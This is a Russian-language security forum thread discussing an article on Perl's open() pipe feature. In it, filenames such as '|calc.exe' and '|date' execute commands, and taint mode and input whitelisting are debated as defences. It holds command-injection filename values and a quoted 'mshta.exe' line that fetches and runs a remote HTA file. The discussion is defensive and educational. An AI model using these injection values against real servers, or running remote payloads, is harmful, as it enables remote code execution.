Легенда:
 новое сообщение
 закрытая нитка
 новое сообщение
 в закрытой нитке
 старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
| |
Правильное написание программ, говорите? 16.05.04 16:09 Число просмотров: 4577
Автор: feldgendler Статус: Незарегистрированный пользователь
|
> ничего нового... разве-что нестандартный взляд на защиту
> перла... хотя как на меня обычное правильное написание
> програм защитит и так...
В статье автор справедливо заметил, что для того, чтобы защитить такой участок кода, как open(f,$filename), приходится быть экспертом по Perl. Я охотно верю, что Вы и есть такой эксперт и знаете обо всех специальных возможностях функции open() и других функций, а, значит, можете произвести все необходимые проверки, чтобы избежать нежелательного задействования таких возможностей (оставим за скобками фактор человеческой рассеянности). Но есть ещё и такой момент: вот эта упомянутая возможность с символом |, наверное, не в первой версии Perl появилась -- просто в какой-то момент её добавили, посчитав, что это полезно и удобно. А если в следующей версии Perl добавят ещё одну новую возможность? Тогда, получается, Вы уже не будете абсолютным экспертом по Perl, и может оказаться, что ваша существующая, правильно написанная программа при запуске под новой версией Perl окажется уязвимой. Следовательно, чтобы писать безопасные программы, нужно быть экспертом по всем возможностям Perl и постоянно быть в курсе всех новых возможностей. Кроме того, существующие программы могут оказаться уязвимыми в свете появления новых возможностей, и их потребуется исправлять
Справедливости ради хочу заметить, что разработчики практически всех серверных программных средств, включая авторов Perl, уже осознали степень риска, вводимого всевозможныминеявными"фишками" вроде упомянутого знака |, и в новых версиях мы вряд ли увидим такие новые автоматические средства, включить которые можно неосторожным движением. Напротив, более вероятно, что каждая новая версия будет более ограниченной в таких "автоматических" средствах при настройках по умолчанию. Я не знаток Perl, но насчёт PHP могу сказать, что именно так и происходит. Когда-то, например, параметры, указанные в HTTP-запросе, автоматически преобразовывались в переменные с такими именами, а это значит, что, если какую-то переменную забыли инициализировать явно, понадеявшись на автоматическую инициализацию пустым значением, есть возможность повлиять на выполнение скрипта, приписав к URL суффикс ?variable=value. Начиная с некоторой версии PHP, такое поведение больше не действует по умолчанию, но доступно по специальной настройке, в основном для обратной совместимости.
Также считаю нужным сказать, что мой комментарий ни в коем случае нельзя рассматривать как утверждение о том, что практика constrain and sanitize (проверки всех входных значений) бесполезная порочная. Напротив, я обеими руками за последовательное применение такой практики, а также за введение в языки и библиотеки автоматизированных средств для этого (таких, как функция htmlescape() в PHP). Во-первых, два рубежа защиты лучше, чем один, и в сочетании с методом, описанным в статье, проверка входных значений даст ещё лучший уровень защищённости. А, во-вторых, далеко не все виды атак принципиально пресекаемы при помощи описанного автором метода; так, например, классическое SQL injection (внедрение SQL-фрагментов во входные данные) невозможно предотвратить таким способом.
|
|
<site updates>
|
Защищаем Perl: шунт в мозг, или зверская нейрохирургия 27.12.03 01:38
Publisher: dl <Dmitry Leonov>
|
Защищаем Perl: шунт в мозг, или зверская нейрохирургия
Роман Чертанов roman_chertanov@mail.ru
P { font-family : Arial; font-size : 14px; color : #000000; }
PRE { font-size : 12px; color : #000000; }
I { font-size : 14px; color : #000077; }
LI { font-family : Arial; font-size : 14px; color : #000000; }
blockquote { font-family : Times; font-size : 14px; color : #000000; font-style: italic}
Если вы программируете (или собираетесь программировать)
Internet-приложения на языке Perl, то наверняка сталкивались с
информацией, описывающей уязвимости этого языка для хакерских
атак. Простейший скрипт, приведенный в любом учебнике по языку Perl,
на поверку оказывается "широко открытыми воротами" для хакеров, как
многоопытных, так и начинающих. Например, фрагмент кода, который просто
выводит содержимое указанного файла
open(f,$filename);
while(<f>)
{
print;
}
на самом деле может выполнять и другие действия. Подайте на его вход
строку "|calc.exe", и вы запустите на выполнение...
Полный текст
|
|
строку "|calc.exe", и вы запустите на
06.01.04 13:31
Автор: Матвей Статус: Незарегистрированный пользователь
|
> Защищаем Perl: шунт в мозг, или зверская нейрохирургия
> Роман Чертанов roman_chertanov@mail.ru
> на самом деле может выполнять и другие действия. Подайте на
> его вход
строку "|calc.exe", и вы запустите на
> выполнение...
вся статья теряет смысл (включая "лоботомии") когда прочитаешь perldoc perlrun на предмет ключа -T
|
| |
Зараженный режим не всегда катит... 08.01.04 13:03
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
> вся статья теряет смысл (включая "лоботомии") когда
> прочитаешь perldoc perlrun на предмет ключа -T
... хотя Вы правы, по-хорошему надо бы изменить статью, чтобы там это было. "зараженный режим" требует неочевидной и достаточно громоздкой переделки кода (в учебниках, например, никто ничего не фильтрует, и новичку может быть непонятно вообще как это делать). Предложенный же в статье трюк не налагает никаких требований на пользователя, и не требует ничего менять в уже работающем и отлаженном коде.
|
| | |
Какой он нафиг отлаженный, если в нем дыры, позволяющие... 26.01.04 18:37
Автор: amigo Статус: Незарегистрированный пользователь
|
> трюк не налагает никаких требований на пользователя, и не
> требует ничего менять в уже работающем и отлаженном коде.
Какой он нафиг отлаженный, если в нем дыры, позволяющие файлы запускать?
К тому же использовать для открытия файлов функцию-wrapper для новичкагораздопроще, чем искать вызовы WinAPI через SoftICE.
|
| | | |
wrapper 14.02.04 18:39
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
> Какой он нафиг отлаженный, если в нем дыры, позволяющие
> файлы запускать?
>
Я имею в виду разного рода примеры, которые новички могут встретить в инете или в книгах. Они совсем не обязательно заточены на исп. ключа -T.
> К тому же использовать для открытия файлов функцию-wrapper
> для новичкагораздопроще, чем искать вызовы WinAPI через
> SoftICE.
Так я враппер и рекламирую? А если недоступны исходники (или лень их качать и компилить), то можно по быстрому покоцать пару функций в dll. SoftIce здесь не нужен (я его не юзал), хотя как вариант возможен и он.
|
|
05-01-2004 09:49:34 C:\Documents and Settings\....\Local... 05.01.04 02:00
Автор: SkyRanger Статус: Незарегистрированный пользователь
|
05-01-2004 09:49:34 C:\Documents and Settings\....\Local Settings\Temporary Internet Files\Content.IE5\CPIN8L6R\foobar[1].htm инфицирован Trojan.MulDrop.500 - доступ к файлу запрещен
Это что за приколы позвольте спросить???
Предварительное скачивание и запуск показал что тама сидит троянчик!
Ради прикола я его
mshta.exe http://www.malware.com/foobar.hta
запустил и мой drweb заорал мол вай-вай вирус однака! :)
Может не нада делать таких вещей??? Некрасиво как то...
|
| |
Антивирусы показывают не троян, а потенциальную возможность трояна 08.01.04 00:47
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
Дело в том, что в антивирусные базы внесен указанный способ вторжения. Об этом красным по белому (правда, по английски) есть предупреждение на сайте malware.com. Но то, что там прикреплен не деструктивный файл, а просто прога под названием fire.exe (которая показывает огонь), я проверял. Попробуйте и вы прикрепить прогу "hello. world", антивирусы ругнутся точно так же. Они не хотят и не обязаны проверять что там прикреплено, и абсолютно правильно предупреждают юзеров о возможной опасности. Сайт умный и нормальный, поэтому я им доверяю.
> 05-01-2004 09:49:34 C:\Documents and Settings\....\Local
> Settings\Temporary Internet
> Files\Content.IE5\CPIN8L6R\foobar[1].htm инфицирован
> Trojan.MulDrop.500 - доступ к файлу запрещен
>
> Это что за приколы позвольте спросить???
> Предварительное скачивание и запуск показал что тама сидит
> троянчик!
> Ради прикола я его
> mshta.exe http://www.malware.com/foobar.hta
> запустил и мой drweb заорал мол вай-вай вирус однака! :)
>
> Может не нада делать таких вещей??? Некрасиво как то...
|
|
ничего нового... разве-что нестандартный взляд на защиту... 29.12.03 14:51
Автор: DgtlScrm Статус: Member
|
|
ничего нового... разве-что нестандартный взляд на защиту перла... хотя как на меня обычное правильное написание програм защитит и так...
|
| |
Правильное написание программ, говорите? 16.05.04 16:09
Автор: feldgendler Статус: Незарегистрированный пользователь
|
> ничего нового... разве-что нестандартный взляд на защиту
> перла... хотя как на меня обычное правильное написание
> програм защитит и так...
В статье автор справедливо заметил, что для того, чтобы защитить такой участок кода, как open(f,$filename), приходится быть экспертом по Perl. Я охотно верю, что Вы и есть такой эксперт и знаете обо всех специальных возможностях функции open() и других функций, а, значит, можете произвести все необходимые проверки, чтобы избежать нежелательного задействования таких возможностей (оставим за скобками фактор человеческой рассеянности). Но есть ещё и такой момент: вот эта упомянутая возможность с символом |, наверное, не в первой версии Perl появилась -- просто в какой-то момент её добавили, посчитав, что это полезно и удобно. А если в следующей версии Perl добавят ещё одну новую возможность? Тогда, получается, Вы уже не будете абсолютным экспертом по Perl, и может оказаться, что ваша существующая, правильно написанная программа при запуске под новой версией Perl окажется уязвимой. Следовательно, чтобы писать безопасные программы, нужно быть экспертом по всем возможностям Perl и постоянно быть в курсе всех новых возможностей. Кроме того, существующие программы могут оказаться уязвимыми в свете появления новых возможностей, и их потребуется исправлять
Справедливости ради хочу заметить, что разработчики практически всех серверных программных средств, включая авторов Perl, уже осознали степень риска, вводимого всевозможныминеявными"фишками" вроде упомянутого знака |, и в новых версиях мы вряд ли увидим такие новые автоматические средства, включить которые можно неосторожным движением. Напротив, более вероятно, что каждая новая версия будет более ограниченной в таких "автоматических" средствах при настройках по умолчанию. Я не знаток Perl, но насчёт PHP могу сказать, что именно так и происходит. Когда-то, например, параметры, указанные в HTTP-запросе, автоматически преобразовывались в переменные с такими именами, а это значит, что, если какую-то переменную забыли инициализировать явно, понадеявшись на автоматическую инициализацию пустым значением, есть возможность повлиять на выполнение скрипта, приписав к URL суффикс ?variable=value. Начиная с некоторой версии PHP, такое поведение больше не действует по умолчанию, но доступно по специальной настройке, в основном для обратной совместимости.
Также считаю нужным сказать, что мой комментарий ни в коем случае нельзя рассматривать как утверждение о том, что практика constrain and sanitize (проверки всех входных значений) бесполезная порочная. Напротив, я обеими руками за последовательное применение такой практики, а также за введение в языки и библиотеки автоматизированных средств для этого (таких, как функция htmlescape() в PHP). Во-первых, два рубежа защиты лучше, чем один, и в сочетании с методом, описанным в статье, проверка входных значений даст ещё лучший уровень защищённости. А, во-вторых, далеко не все виды атак принципиально пресекаемы при помощи описанного автором метода; так, например, классическое SQL injection (внедрение SQL-фрагментов во входные данные) невозможно предотвратить таким способом.
|
|
open(f,$filename);
29.12.03 06:52
Автор: Юниксд после лоботомии... Статус: Незарегистрированный пользователь
|
>
open(f,$filename);
while(<f>)
{
print;
}
> на самом деле может выполнять и другие действия. Подайте на
> его вход
строку "|calc.exe", и вы запустите на
> выполнение...
Интересно, а если в Unix на вход подать "|date" то это должно сработать?
Если да, то почему у меня не срабатывает???
|
| |
надо сделать $filename = "date|" 29.12.03 19:14
Автор: LLL <Алексей> Статус: Member
|
|
ибо date в юниксе ничего не берет со входа
|
| |
Перепроверил в виндах - работает 29.12.03 18:57
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
> >Подайте на его вход строку "|calc.exe", и вы запустите на
> > выполнение...
>
> Интересно, а если в Unix на вход подать "|date" то это
> должно сработать?
> Если да, то почему у меня не срабатывает???
>
Я перепроверил этот код с последней версией ActivePerl в виндах - эта кора именно там есть. :-)
Ты так делал?
#perl
$filename="|date";
open (HTM1,$filename);
У меня этот фрагмент спрашивает, не хочу ли я ввести текущую дату.
|
| | |
;-) хм...
31.12.03 07:30
Автор: Юниксоид с опухшей головой Статус: Незарегистрированный пользователь
|
> > >Подайте на его вход строку "|calc.exe", и вы
> запустите на
> > > выполнение...
> >
> > Интересно, а если в Unix на вход подать "|date" то это
> > должно сработать?
> > Если да, то почему у меня не срабатывает???
> >
> Я перепроверил этот код с последней версией ActivePerl в
> виндах - эта кора именно там есть. :-)
>
> Ты так делал?
> #perl
> $filename="|date";
;-) хм...
я бы удивился, если бы эта команда не делала то, что она должна делать....
Что такое "подать на вход" ?
Имеется в виду стандартный ввод или файл,
т.е. "|date" подается как данные...
Если это не так, а имеется в виду, то что выше,
то я вообще не пойму, что тут обсуждать....
И что тут нового?
> open (HTM1,$filename);
>
> У меня этот фрагмент спрашивает, не хочу ли я ввести
> текущую дату.
|
| | | |
> Что такое "подать на вход" ? 31.12.03 14:48
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
> Что такое "подать на вход" ?
Это значит что заходишь на веб-сайт, и при помощи одного лишь браузера можешь его взломать (запустить там произвольный код).
Нового действительно в этом ничего нет. :-)
|
| | | | |
бред 05.01.04 10:17
Автор: Юниксоид Статус: Незарегистрированный пользователь
|
> > Что такое "подать на вход" ?
> Это значит что заходишь на веб-сайт, и при помощи одного
> лишь браузера можешь его взломать (запустить там
> произвольный код).
> Нового действительно в этом ничего нет. :-)
Наивный!
Учите perl. Нового тут ничего нет.
$ cat /tmp/0
#!/usr/local/bin/perl
$filename="|date";
open(HTM1,$filename);
$ /tmp/0
Mon Jan 5 12:13:18 ZLT 2004
$ cat /tmp/1
#!/usr/local/bin/perl -T
$filename="|date";
open(HTM1,$filename);
$ /tmp/1
Insecure $ENV{PATH} while running with -T switch at /tmp/1 line 4.
$
Вопросы есть?
|
| | | | | |
БРЕД 05.01.04 10:37
Автор: Юниксоид Статус: Незарегистрированный пользователь
|
> > > Что такое "подать на вход" ?
> > Это значит что заходишь на веб-сайт, и при помощи
> одного
> > лишь браузера можешь его взломать (запустить там
> > произвольный код).
> > Нового действительно в этом ничего нет. :-)
>
> Наивный!
> Учите perl. Нового тут ничего нет.
>
> $ cat /tmp/0
> #!/usr/local/bin/perl
>
> $filename="|date";
> open(HTM1,$filename);
> $ /tmp/0
> Mon Jan 5 12:13:18 ZLT 2004
>
> $ cat /tmp/1
> #!/usr/local/bin/perl -T
>
> $filename="|date";
> open(HTM1,$filename);
> $ /tmp/1
> Insecure $ENV{PATH} while running with -T switch at /tmp/1
> line 4.
> $
>
> Вопросы есть?
да, и, кстати, нормальные люди проверяют
не наличие "недопустимых" символов,
а наличие только допустимых...
исходя из общего принципа, что запрещено все, что
явно не разрешено...
т.е. должен быть короткий список разрешенных символов,
а не большой и заведомо неполный запрещенных...
Я уж не говорю о том,
что разрешать всем через web открывать любой файл на сервере - это полный бред...
тут совсем не perl виноват(или его разработчики), а кто-то другой...
Я, кстати, совсем не фанатик perl-а...
но не надо с больной головы на здоровую перекладывать...
|
| | | | | | |
Insecure $ENV{PATH} while running with -T 08.01.04 13:41
Автор: Роман Чертанов Статус: Незарегистрированный пользователь
|
> > $ cat /tmp/1
> > #!/usr/local/bin/perl -T
> >
> > $filename="|date";
> > open(HTM1,$filename);
> > $ /tmp/1
> > Insecure $ENV{PATH} while running with -T switch at
> /tmp/1
> > line 4.
> > $
> >
> > Вопросы есть?
Мне кажется что способ с подменой функций прикольнее. :-)
Не потребуется переделывать код во многих местах.
Проще для новичков.
> да, и, кстати, нормальные люди проверяют
> не наличие "недопустимых" символов,
> а наличие только допустимых...
> исходя из общего принципа, что запрещено все, что
> явно не разрешено...
> т.е. должен быть короткий список разрешенных символов,
> а не большой и заведомо неполный запрещенных...
Ну так тоже можно. Это как дедукция (исключение) и индукция
(включение). Какой метод лучше, сказать трудно :-)
> Я уж не говорю о том,
> что разрешать всем через web открывать любой файл на
> сервере - это полный бред...
Ну я тоже об этом не говорю :-)
Просто новички именно так и поступают, потому что программные продукты сами по себе стимулируют их делать ошибки.
> тут совсем не perl виноват(или его разработчики), а кто-то
> другой...
Ну да, разработчики ОС :-)
> Я, кстати, совсем не фанатик perl-а...
> но не надо с больной головы на здоровую перекладывать...
Я тоже :-)
|
| | | | | | | |
лудче запретить все и разрашать, только по мере... 13.01.04 08:25
Автор: DgtlScrm Статус: Member
|
> > да, и, кстати, нормальные люди проверяют
> > не наличие "недопустимых" символов,
> > а наличие только допустимых...
> > исходя из общего принципа, что запрещено все, что
> > явно не разрешено...
> > т.е. должен быть короткий список разрешенных символов,
> > а не большой и заведомо неполный запрещенных...
>
> Ну так тоже можно. Это как дедукция (исключение) и индукция
> (включение). Какой метод лучше, сказать трудно :-)
лудче запретить все и разрашать, только по мере необходимости. Это однозначно!
> > тут совсем не perl виноват(или его разработчики), а
> кто-то
> > другой...
> Ну да, разработчики ОС :-)
это не ошибка а фича... и виноват именно программист! А не ОС или Перл :Р
|
| |
Наверное у тебя перед трубой добавляется слеш... 29.12.03 14:53
Автор: DgtlScrm Статус: Member
|
|
|
|
Гы, ну от эклектичности Перл не избавится, думаю, никогда :) 28.12.03 00:55
Автор: Ktirf <Æ Rusakov> Статус: Elderman
|
|
А вообще статья хорошая.
|
|
|
подробно о проекте
Анализ криптографических сетевых...
